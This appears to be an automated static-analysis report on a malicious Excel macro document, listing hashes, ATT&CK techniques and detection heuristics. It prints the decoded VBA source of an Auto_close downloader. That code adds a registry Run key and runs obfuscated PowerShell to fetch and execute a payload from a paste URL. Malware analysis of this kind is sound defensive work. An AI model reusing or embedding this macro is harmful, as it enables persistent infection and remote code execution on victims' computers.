Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9fc275cd918f754d…

MALICIOUS

Office (OOXML)

354.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-24
MD5: 6abc2a320a307fb482de363b7f9b14b5 SHA-1: 81691fc5e7ea84da832970ad5a6717e0195d13fe SHA-256: 9fc275cd918f754dbd4645ad398627b9cc4de20cf19d9d8ab923e54cd22b85c4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically an Auto_Close macro, which is designed to execute when the workbook is closed. This macro constructs and executes a command using cmd.exe to add a registry key for persistence. The command also attempts to download and execute a second-stage payload from the URL https://pastetext.net/raw/a9qmbgtlii using PowerShell. The presence of cmd.exe and PowerShell execution, along with the persistence mechanism, indicates a downloader or initial access stage.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pastetext.net/raw/a9qmbgtlii In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1136 bytes
SHA-256: 5a74bab6ee7a4e25045d1b1f10380465daa57b48e39651b14563cb1112fae1a2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

 Sub Auto_close()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = "   cmd.exe   /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet3"" /t REG_SZ /d ""p.O.w.e.r.s.H.e.l.L.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB  "
ActiveWorkbook.Save
batch = "77.bat"
Open batch For Output As #1
    Print #1, s
    Close #1
    i = Shell(batch, 0)
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22016 bytes
SHA-256: 72032bd1b1c1a6ec8ae1762a14aa4092627d49069abaeecb74f3268620c48d73